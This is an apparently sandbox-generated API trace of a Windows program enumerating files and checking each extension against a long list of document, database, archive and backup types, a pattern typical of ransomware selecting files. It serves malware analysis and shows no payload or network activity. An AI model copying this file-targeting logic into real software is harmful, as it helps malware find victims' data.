	[0082.827] wcsstr (_Str=".gho", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".v2i", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".3ds", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".ppt", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".acc", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".vpd", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".odt", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".ods", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".rar", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.827] wcsstr (_Str=".zip", _SubStr=".msu") returned 0x0
	[0082.827] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".cpp", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".pas", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".asm", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".rtf", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".lic", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".avi", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".mov", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".mp3", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".vbs", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".v8i", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".erf", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".epf", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".mxl", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".cfu", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".mht", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.828] wcsstr (_Str=".old", _SubStr=".msu") returned 0x0
	[0082.828] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0082.828] wcsncmp (_String1="W", _String2=".", _MaxCount=0x1) returned 41
	[0082.828] wcsncmp (_String1="Wi", _String2="..", _MaxCount=0x2) returned 41
	[0082.828] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".bat", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".doc", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".jpg", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".jpe", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".txt", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".tex", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".dbf", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".xls", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".cry", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".xml", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".vsd", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".pdf", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".csv", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".bmp", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".tif", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".1cd", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".tax", _SubStr=".msu") returned 0x0
	[0082.829] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.829] wcsstr (_Str=".gif", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".gbr", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".png", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".mdb", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".mdf", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".sdf", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".dwg", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".dxf", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".dgn", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".stl", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".gho", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".v2i", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".3ds", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".ppt", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".acc", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".vpd", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".odt", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".ods", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.830] wcsstr (_Str=".rar", _SubStr=".msu") returned 0x0
	[0082.830] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".zip", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".cpp", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".pas", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".asm", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".rtf", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".lic", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".avi", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".mov", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".mp3", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".vbs", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".v8i", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".erf", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".epf", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".mxl", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".cfu", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".mht", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.831] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.831] wcsstr (_Str=".old", _SubStr=".msu") returned 0x0
	[0082.831] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0082.831] wcsncmp (_String1="W", _String2=".", _MaxCount=0x1) returned 41
	[0082.831] wcsncmp (_String1="Wi", _String2="..", _MaxCount=0x2) returned 41
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".bat", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".doc", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".jpg", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".jpe", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".txt", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".tex", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".dbf", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".xls", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".cry", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".xml", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".vsd", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".pdf", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".csv", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".bmp", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".tif", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".1cd", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.832] wcsstr (_Str=".tax", _SubStr=".msu") returned 0x0
	[0082.832] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".gif", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".gbr", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".png", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".mdb", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".mdf", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".sdf", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".dwg", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".dxf", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".dgn", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".stl", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".gho", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".v2i", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".3ds", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".ppt", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".acc", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".vpd", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".odt", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".ods", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.833] wcsstr (_Str=".rar", _SubStr=".msu") returned 0x0
	[0082.833] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".zip", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".cpp", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".pas", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".asm", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".rtf", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".lic", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".avi", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".mov", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".mp3", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".vbs", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".v8i", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".erf", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".epf", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".mxl", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".cfu", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".mht", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.834] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.834] wcsstr (_Str=".old", _SubStr=".msu") returned 0x0
	[0082.834] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0082.834] wcsncmp (_String1="W", _String2=".", _MaxCount=0x1) returned 41
	[0082.835] wcsncmp (_String1="Wi", _String2="..", _MaxCount=0x2) returned 41
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".bat", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".doc", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".jpg", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".jpe", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".txt", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".tex", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".dbf", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".xls", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".cry", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".xml", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".vsd", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".pdf", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".csv", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".bmp", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".tif", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".1cd", _SubStr=".msu") returned 0x0
	[0082.835] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.835] wcsstr (_Str=".tax", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".gif", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".gbr", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".png", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".mdb", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".mdf", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".sdf", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".dwg", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".dxf", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".dgn", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".stl", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".gho", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
